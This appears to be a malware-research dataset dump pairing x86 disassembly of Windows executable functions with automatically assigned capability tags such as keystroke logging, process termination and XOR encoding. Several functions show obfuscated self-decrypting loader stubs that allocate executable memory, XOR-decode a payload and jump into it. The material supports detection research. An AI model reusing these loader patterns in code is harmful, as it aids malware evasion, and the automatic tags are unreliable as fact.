joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49f3c0
Capabilities:
Log keystrokes

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
mov ebx, ecx
push esi
push edi
mov edi, edx
mov al, byte [edi]
cmp al, 0x41
je 0x49f3d6
cmp al, 0x61
jne 0x49f43a
cmp byte [edi + 1], 0
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
jne 0x49f442
cmp byte [ecx], 0
jne 0x49f442
cmp byte [eax], 0
jne 0x49f442
cmp byte [ebp], 0
jne 0x49f442
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x49f43a
cmp byte [ebx + 0xca], 0
jne 0x49f41f
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x49f43a
mov ecx, esi
call fcn.004a0600
test al, al
jne 0x49f43a
push esi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x49f433
push 9
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
test dl, dl
jne 0x49f464
cmp byte [edi], dl
jne 0x49f464
cmp byte [ecx], dl
jne 0x49f464
cmp byte [eax], dl
jne 0x49f464
cmp byte [ebp], dl
jne 0x49f464
mov ecx, ebx
call fcn.0049fbd0
jmp 0x49f47e
push dword [esp + 0x28]
push dword [esp + 0x28]
push 0
push edx
push ebp
push eax
push ecx
mov edx, edi
mov ecx, ebx
call fcn.0049fa10
add esp, 0x1c
test eax, eax
jne 0x49f487
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
mov ecx, eax
pop ebx
jmp fcn.0049f520
Function at 0x49f520
Capabilities:
Log keystrokes

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
test esi, esi
je 0x49f698
mov ebp, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push esi
call ebp
mov edi, eax
mov dword [esp + 0x18], edi
cmp edi, dword [0x4e9a38]
je 0x49f559
mov ecx, esi
call fcn.004a0580
test al, al
jne 0x49f698
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push esi
mov ebx, eax
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x49f575
push 9
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
cmp esi, ebx
jne 0x49f583
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
cmp byte [0x4e82ac], 0
jne 0x49f59d
mov edx, ebx
mov ecx, esi
call fcn.0049f4a0
test eax, eax
jne 0x49f69a
mov byte [esp + 0x12], 0
mov byte [esp + 0x13], 0
test ebx, ebx
je 0x49f5fe
push 0
push ebx
call ebp
mov ebp, eax
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x49f606
cmp dword [0x4e9a38], ebp
je 0x49f5e3
mov ecx, ebx
call fcn.004a0580
test al, al
jne 0x49f5e3
push 1
push ebp
push dword [0x4e9a38]
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x12]
test edi, edi
je 0x49f606
cmp ebp, edi
je 0x49f606
push 1
push edi
push ebp
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x13]
jmp 0x49f606
mov eax, dword [esp + 0x18]
mov dword [esp + 0x14], eax
xor edi, edi
nop dword [eax + eax]
mov edx, ebx
mov ecx, esi
call fcn.0049f4a0
mov ebp, eax
test ebp, ebp
jne 0x49f657
inc edi
cmp edi, 5
jl 0x49f610
push 0xffc3d44d
push eax
push eax
push eax
mov dl, 0x12
lea ecx, [eax + 2]
call fcn.00419200
push 0xffc3d44d
push ebp
push ebp
push ebp
mov dl, 0x12
lea ecx, [ebp + 2]
call fcn.00419200
add esp, 0x20
mov edx, ebx
mov ecx, esi
call fcn.0049f4a0
mov ebp, eax
cmp byte [esp + 0x12], 0
mov edi, dword [esp + 0x14]
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
je 0x49f673
push 0
push edi
push dword [0x4e9a38]
call ebx
cmp byte [esp + 0x13], 0
je 0x49f683
push 0
push dword [esp + 0x1c]
push edi
call ebx
test ebp, ebp
je 0x49f698
push esi
call dword [sym.imp.USER32.dll_BringWindowToTop]
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0xc
ret
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x49f7a0
Capabilities:
Check for time delay via gettickcount
Terminate process

Disassembly:
sub esp, 8
cmp byte [esp + 0xc], 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
je 0x49f80c
lea eax, [esp + 0x10]
push eax
push 0x1f4
push 2
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
test eax, eax
jne 0x49f819
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [esp + 0x18]
test eax, eax
je 0x49f819
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x49f819
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x49f819
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
xor edi, edi
test ebx, ebx
cmovns edi, ebx
test edi, edi
je 0x49f885
push ebp
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword fs:[0x24]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], eax
nop dword [eax]
cmp dword [0x4e9a38], ebx
jne 0x49f859
mov edx, 1
mov ecx, 0x8000012f
call fcn.00401a30
jmp 0x49f85d
push 0xa
call ebp
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x49f87b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x10]
add ecx, edi
sub ecx, eax
cmp ecx, 5
jg 0x49f840
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 8
ret
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 8
ret
Function at 0x49fa10
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x8e64
call fcn.004c78a0
push ebx
mov ebx, dword [esp + 0x8e6c]
push ebp
mov ebp, edx
mov edx, dword [esp + 0x8e74]
push esi
mov esi, dword [esp + 0x8e7c]
push edi
mov al, byte [ebp]
mov edi, ecx
cmp al, 0x41
je 0x49fa42
cmp al, 0x61
jne 0x49faa5
cmp byte [ebp + 1], 0
jne 0x49faa5
cmp byte [ebx], 0
jne 0x49faa5
cmp byte [edx], 0
jne 0x49faa5
cmp byte [esi], 0
jne 0x49faa5
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x49fa84
cmp byte [edi + 0xca], 0
jne 0x49fa84
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x49fa82
mov ecx, esi
call fcn.004a0600
test al, al
je 0x49fa84
xor esi, esi
cmp byte [esp + 0x8e88], 0
je 0x49fa98
test esi, esi
je 0x49fa98
mov dword [edi + 0xa4], esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x8e64
ret
test al, al
jne 0x49fac5
cmp byte [ebx], al
jne 0x49fac5
cmp byte [edx], al
jne 0x49fac5
cmp byte [esi], al
jne 0x49fac5
call fcn.0049fbd0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8e64
ret
lea ecx, [esp + 0x10]
call fcn.00448ad0
push esi
push edx
push ebx
push ebp
push edi
call fcn.004a0780
test eax, eax
je 0x49fb81
test byte [esp + 0x10], 2
mov al, byte [esp + 0x8e84]
mov byte [esp + 0xc3d], al
mov eax, dword [esp + 0x8e8c]
mov dword [esp + 0xc4c], eax
mov eax, dword [esp + 0x8e90]
mov dword [esp + 0xc50], eax
je 0x49fb8e
mov eax, dword [esp + 0x82c]
cmp eax, 0xffff
je 0x49fb59
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x49fb81
push dword [esp + 0x82c]
mov ecx, edi
call fcn.004a0670
test al, al
jne 0x49fb52
push 0xfffffffffffffff0
push dword [esp + 0x830]
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x40000000
je 0x49fb81
mov eax, dword [esp + 0x82c]
cmp dword [esp + 0xc64], eax
je 0x49fb72
lea ecx, [esp + 0x10]
mov dword [esp + 0xc64], eax
call fcn.004a0b90
push 0
lea ecx, [esp + 0x14]
call fcn.004a0c70
test eax, eax
jne 0x49fb9e
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8e64
ret
lea eax, [esp + 0x10]
push eax
push 0x49fc50
call dword [sym.imp.USER32.dll_EnumWindows]
cmp byte [esp + 0x8e88], 0
mov eax, dword [esp + 0xc44]
je 0x49fb83
test eax, eax
je 0x49fb83
mov dword [edi + 0xa4], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8e64
ret
Function at 0x4a0b90
Capabilities:
Get graphical window text

Disassembly:
push ecx
push esi
mov esi, ecx
mov ecx, dword [esi + 0xc54]
test ecx, ecx
je 0x4a0c66
mov eax, dword [esi]
test eax, eax
je 0x4a0c66
push edi
test al, 1
jne 0x4a0bbc
mov eax, dword [esi + 0x80c]
cmp byte [eax], 0
je 0x4a0bd5
push 0x7fff
lea edi, [esi + 0xc60]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
jne 0x4a0bd5
mov byte [edi], al
mov eax, dword [esi]
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test al, 4
je 0x4a0bf2
lea eax, [esi + 0xc5c]
push eax
push dword [esi + 0xc54]
call edi
mov eax, dword [esi]
test al, 0x20
je 0x4a0c2c
lea eax, [esp + 8]
push eax
push dword [esi + 0xc54]
call edi
test eax, eax
je 0x4a0c2c
movzx eax, byte [esi + 0xc2c]
lea edx, [esi + 0x8d60]
push eax
push ecx
mov ecx, dword [esp + 0x10]
call fcn.0046c9f0
add esp, 8
test eax, eax
jne 0x4a0c2c
mov byte [esi + 0x8d60], al
mov eax, dword [esi]
pop edi
test al, 8
je 0x4a0c4d
push 0x101
lea eax, [esi + 0x8c5f]
push eax
push dword [esi + 0xc54]
call dword [sym.imp.USER32.dll_GetClassNameA]
mov eax, dword [esi]
test eax, 0x100
je 0x4a0c66
push dword [esi + 0xc54]
call dword [sym.imp.USER32.dll_GetParent]
mov dword [esi + 0xc58], eax
pop esi
pop ecx
ret

Function at 0x4a1330
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x8e64
call fcn.004c78a0
mov edx, dword [ecx + 8]
test edx, edx
je 0x4a13d0
lea ecx, [esp]
call fcn.00448ad0
mov al, byte [esp + 0x8e68]
mov byte [esp + 0xc48], al
mov eax, dword [esp + 0x8e6c]
mov dword [esp + 0xc4c], eax
mov eax, ecx
push eax
push 0x4a1a50
mov dword [esp + 0xc4c], edx
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [esp + 0xc34], 0
je 0x4a13d0
mov eax, dword [0x4e498c]
cmp dword [eax + 0x54], 0xffffffff
jle 0x4a13d0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x4e9a38], eax
je 0x4a13bd
mov eax, dword [0x4e498c]
push dword [eax + 0x54]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
add esp, 0x8e64
ret 8
mov ecx, dword [0x4e498c]
mov edx, 1
mov ecx, dword [ecx + 0x54]
call fcn.00401a30
mov eax, 1
add esp, 0x8e64
ret 8
Function at 0x4a1650
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x8e70
call fcn.004c78a0
push ebx
push esi
mov esi, ecx
cmp dword [esi + 8], 0
je 0x4a17dd
push 0
call fcn.004a17f0
test eax, eax
jne 0x4a1681
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push dword [0x4e498c]
mov ebx, eax
mov ecx, esi
push ebx
call fcn.004a1890
mov edx, dword [0x4e91c0]
xor ecx, ecx
test eax, eax
cmovne edx, ecx
lea ecx, [esp + 0x10]
mov dword [0x4e91c0], edx
call fcn.00448ad0
cmp byte [ebp + 8], 0
je 0x4a16c5
mov byte [esp + 0xc3d], 0
test edx, edx
je 0x4a16cd
mov byte [esp + 0xc3d], 1
mov eax, dword [0x4e91bc]
mov dword [esp + 0xc4c], eax
mov eax, dword [esi + 8]
mov dword [esp + 0xc54], eax
lea eax, [esp + 0x10]
push eax
push 0x4a1920
mov dword [esp + 0xc58], edx
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [esp + 0xc44]
test eax, eax
je 0x4a17b0
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push 0x4a0500
mov dword [esp + 0x14], 0
call dword [sym.imp.USER32.dll_EnumWindows]
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4a1742
mov ecx, dword [esp + 0xc44]
call fcn.004a1090
mov dword [esp + 0xc44], esi
jmp 0x4a1749
mov esi, dword [esp + 0xc44]
mov ecx, esi
call fcn.0049f520
mov ecx, dword [esp + 0xc44]
call fcn.004a1090
mov eax, dword [0x4e498c]
cmp dword [eax + 0x54], 0xffffffff
jle 0x4a17dd
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x4e9a38], eax
je 0x4a1790
mov eax, dword [0x4e498c]
push dword [eax + 0x54]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [0x4e498c]
mov edx, 1
mov ecx, dword [ecx + 0x54]
call fcn.00401a30
mov eax, 1
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [0x4e91c0]
test eax, eax
je 0x4a17dd
cmp eax, 1
mov dword [0x4e91c0], 0
setg al
test al, al
je 0x4a17dd
mov ecx, ebx
call fcn.004a1090
push 0
mov ecx, esi
call fcn.004a1650
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4bf61f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
and eax, 0x3f
mov edx, dword [ebp + 0xc]
push ebx
sar ecx, 6
push esi
push edi
imul edi, eax, 0x30
mov eax, dword [ecx*4 + 0x4e7330]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4bf660
cmp byte [edx], 0xa
jne 0x4bf660
or byte [eax + edi + 0x28], 4
jmp 0x4bf665
and byte [eax + edi + 0x28], 0xfb
lea eax, [edx + ecx]
mov ebx, edx
mov dword [ebp - 8], eax
mov esi, edx
cmp edx, eax
jae 0x4bf756
mov al, byte [ebx]
cmp al, 0x1a
je 0x4bf737
cmp al, 0xd
je 0x4bf68e
mov byte [esi], al
inc esi
inc ebx
jmp 0x4bf72c
lea eax, [ebx + 1]
cmp eax, dword [ebp - 8]
jae 0x4bf6ae
cmp byte [eax], 0xa
jne 0x4bf6a3
push 2
mov byte [esi], 0xa
pop eax
jmp 0x4bf6a9
xor eax, eax
mov byte [esi], 0xd
inc eax
add ebx, eax
inc esi
jmp 0x4bf72c
push 0
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4bf725
cmp dword [ebp - 0x14], 0
je 0x4bf725
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4e7330]
test byte [eax + edi + 0x28], 0x48
je 0x4bf6fc
mov dl, byte [ebp - 1]
cmp dl, 0xa
jne 0x4bf6ec
mov byte [esi], dl
jmp 0x4bf728
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4e7330]
mov byte [eax + edi + 0x2a], dl
jmp 0x4bf728
cmp byte [ebp - 1], 0xa
jne 0x4bf70e
mov edx, dword [ebp + 0xc]
cmp esi, edx
jne 0x4bf70e
mov byte [esi], 0xa
jmp 0x4bf6ab
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004bf604
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4bf729
mov byte [esi], 0xd
inc esi
mov edx, dword [ebp + 0xc]
cmp ebx, dword [ebp - 8]
jb 0x4bf677
jmp 0x4bf756
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4e7330]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4bf751
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4bf756
mov cl, byte [ebx]
mov byte [esi], cl
inc esi
sub esi, edx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4bf761
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
and eax, 0x3f
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
sar ecx, 6
imul edi, eax, 0x30
mov dword [ebp - 8], ecx
push 0xa
mov eax, dword [ecx*4 + 0x4e7330]
pop ebx
mov edx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], edx
mov edx, dword [ebp + 0xc]
test esi, esi
je 0x4bf7a5
cmp word [edx], bx
jne 0x4bf7a5
or byte [edi + eax + 0x28], 4
jmp 0x4bf7aa
and byte [edi + eax + 0x28], 0xfb
lea eax, [edx + esi*2]
mov ebx, edx
mov dword [ebp - 0xc], eax
mov esi, edx
cmp edx, eax
jae 0x4bf8fe
mov dword [ebp - 0x10], 0xd
movzx eax, word [ebx]
cmp eax, 0x1a
je 0x4bf8de
cmp ax, word [ebp - 0x10]
je 0x4bf7e3
mov word [esi], ax
add esi, 2
add ebx, 2
jmp 0x4bf8d3
lea eax, [ebx + 2]
cmp eax, dword [ebp - 0xc]
jae 0x4bf809
push 0xa
pop ecx
cmp word [eax], cx
jne 0x4bf7f9
push ecx
pop eax
push 4
jmp 0x4bf7fe
push 0xd
pop eax
push 2
mov word [esi], ax
pop eax
add ebx, eax
jmp 0x4bf8cd
push 0
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4bf8c4
cmp dword [ebp - 0x18], 0
je 0x4bf8c4
mov ecx, dword [ebp - 8]
push 0xa
mov eax, dword [ecx*4 + 0x4e7330]
test byte [edi + eax + 0x28], 0x48
pop eax
je 0x4bf890
mov dx, word [ebp - 4]
cmp dx, ax
jne 0x4bf854
mov word [esi], ax
jmp 0x4bf888
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ecx*4 + 0x4e7330]
mov word [ebp - 0x20], dx
push 0xa
mov byte [edi + eax + 0x2a], dl
mov ecx, dword [ecx*4 + 0x4e7330]
mov al, byte [ebp - 0x1f]
pop edx
mov byte [edi + ecx + 0x2b], al
mov ecx, dword [ebp - 8]
mov eax, dword [ecx*4 + 0x4e7330]
mov byte [edi + eax + 0x2c], dl
mov edx, dword [ebp + 0xc]
add esi, 2
jmp 0x4bf8d3
cmp word [ebp - 4], ax
jne 0x4bf8a5
mov edx, dword [ebp + 0xc]
cmp esi, edx
jne 0x4bf8a5
mov word [esi], ax
add esi, 2
jmp 0x4bf8d3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004bf604
mov edx, dword [ebp + 0xc]
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4bf8d0
jmp 0x4bf8c7
mov edx, dword [ebp + 0xc]
push 0xd
pop eax
mov word [esi], ax
add esi, 2
mov ecx, dword [ebp - 8]
cmp ebx, dword [ebp - 0xc]
jb 0x4bf7c3
jmp 0x4bf8fe
mov ecx, dword [ecx*4 + 0x4e7330]
mov al, byte [edi + ecx + 0x28]
test al, 0x40
jne 0x4bf8f5
or al, 2
mov byte [edi + ecx + 0x28], al
jmp 0x4bf8fe
mov cx, word [ebx]
mov word [esi], cx
add esi, 2
sub esi, edx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c0108
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004bff85
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x401c66
pop dword [ebp - 0x3c]
mov eax, 0x1a7a1fa3
sub eax, 0x1a3a033d
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x93f3978b
sub dword [ebp - 0x4c], 0x45a15240
mov dword [ebp - 0x48], 0x4a0f7e7f
sub dword [ebp - 0x48], 0x17dc323a
mov dword [ebp - 0x44], 0xe97fa7c1
sub dword [ebp - 0x44], 0x9d336393
mov dword [ebp - 0x40], 0x69f0a4fd
sub dword [ebp - 0x40], 0x69f0a4fd
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x541405b8
add eax, 0xac2c2a9c
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x5fbd0ef6
add dword [ebp - 0x4c], 0x14b55a60
mov dword [ebp - 0x48], 0x17f3458b
add dword [ebp - 0x48], 0x29791bea
mov dword [ebp - 0x44], 0x17c80cdb
sub dword [ebp - 0x44], 0xb458a06f
mov dword [ebp - 0x40], 0xa5e38653
add dword [ebp - 0x40], 0x5a1c79ad
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xe3207a58
sub eax, 0xe2e04a2c
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x397c6
push 0
call eax
mov ecx, 0x7f8708d1
add ecx, 0x80794b34
xor esi, esi
add esi, eax
mov edx, 0x407000
add edx, dword [ebp - 0x3c]
mov edi, 0xf40c850e
sub edi, 0x61579b52
add dword [ebp - 0x1c], 0x6ddedc5c
mov ebx, dword [edx]
sub ebx, edi
xor dword [ebp - 0x38], 0xf0e3c6f4
mov dword [esi], ebx
sub dword [ebp - 0x28], 0xc8e4af26
add esi, 4
add edx, 0x27cd56fc
add edx, 0xd832a908
loop 0x401d84
add eax, 0x6ee82259
add eax, 0x9119208e
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10007c2e
pop dword [ebp - 0x48]
mov eax, 0x6014ef81
add eax, 0xafeb8cad
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe559016f
add dword [ebp - 0x58], 0x68f943dc
mov dword [ebp - 0x54], 0xe47da2d7
sub dword [ebp - 0x54], 0xb24a5692
mov dword [ebp - 0x50], 0x1a30c9fa
add dword [ebp - 0x50], 0x321b7a34
mov dword [ebp - 0x4c], 0x3eb58858
add dword [ebp - 0x4c], 0xc14a77a8
lea eax, [ebp - 0x58]
push eax
mov eax, 0x962648a9
sub eax, 0x8625c855
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x3cfc93ee
add dword [ebp - 0x58], 0x3775d568
mov dword [ebp - 0x54], 0xedf56f26
add dword [ebp - 0x54], 0x5376f24f
mov dword [ebp - 0x50], 0x77f418f7
sub dword [ebp - 0x50], 0x1484ac8b
mov dword [ebp - 0x4c], 0x9f811e33
add dword [ebp - 0x4c], 0x607ee1cd
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x33c7a
push 0
call eax
mov ecx, 0xb9140b17
add ecx, 0x46ec315c
xor edx, edx
add edx, eax
mov ebx, 0xd88af330
add ebx, 0x377606d0
add ebx, dword [ebp - 0x48]
mov edi, 0x2cff2d30
add edi, 0x309ff7cb
xor dword [ebp - 0x28], ebx
mov esi, dword [ebx]
add dword [ebp - 8], 0x55edde71
xor esi, edi
add dword [ebp - 0x3c], ecx
mov dword [edx], esi
add edx, 4
add ebx, 0xa45bf20b
add ebx, 0x5ba40df9
loop 0x10007d4d
add eax, 0xe49f
xor ebx, ebx
add ebx, eax
add eax, 0x52b9ecd
add eax, 0xfad46138
mov ecx, 0x10000000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x405c83
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x4345c0
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x405caf
push edi
call esi
cmp eax, 0xffffffff
jne 0x405cf1
test ebx, ebx
je 0x405cee
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
push dword [ebp - 0x18]
je 0x405ce8
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
pop ecx
mov eax, esi
jmp 0x405cf1
call fcn.00401abd
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406306
Capabilities:
Get disk information

Disassembly:
mov eax, 0x434664
call fcn.004339e0
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.0041c900
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x4063d4
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406342
mov eax, ebx
add eax, eax
push eax
call fcn.0040826a
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x4063cd
cmp ebx, dword [ebp - 0x14]
ja 0x4063cd
lea ecx, [ebp - 0x2c]
call fcn.004028e9
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x4063b5
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4063aa
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.0040826a
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406380
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401abd
push esi
call fcn.00401abd
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x4063d6
push esi
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x40826a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x408279
pop dword [ebp - 0x24]
mov eax, 0x61fe6149
add eax, 0x9e422130
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3ae3d
push 0
mov eax, 0xb1c0daf0
add eax, 0x4e82a540
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x48e2
xor esi, esi
add esi, eax
mov edx, 0xe6b11221
add edx, 0x1993b3df
add edx, dword [ebp - 0x24]
mov edi, 0xae0bb41d
sub edi, 0x62fabca5
add dword [ebp - 0x20], esi
mov ebx, dword [edx]
xor dword [ebp - 0x14], 0xcc9cb1b8
xor ebx, edi
sub dword [ebp - 8], edx
mov dword [esi], ebx
mov dword [ebp - 0x10], 0x68d8f015
add esi, 0xd368c71f
add esi, 0x2c9738e5
add edx, 0xdaa4960e
sub edx, 0xdaa4960a
loop 0x4082d4
add eax, 0xe2d443d2
add eax, 0x1d2cd289
mov ebx, eax
add eax, 0x3309e87
sub eax, 0x3309e82
mov ecx, 0x72dbbdd5
sub ecx, 0x729bbdd5
add ecx, dword [ebp - 0x24]
call ebx
leave
ret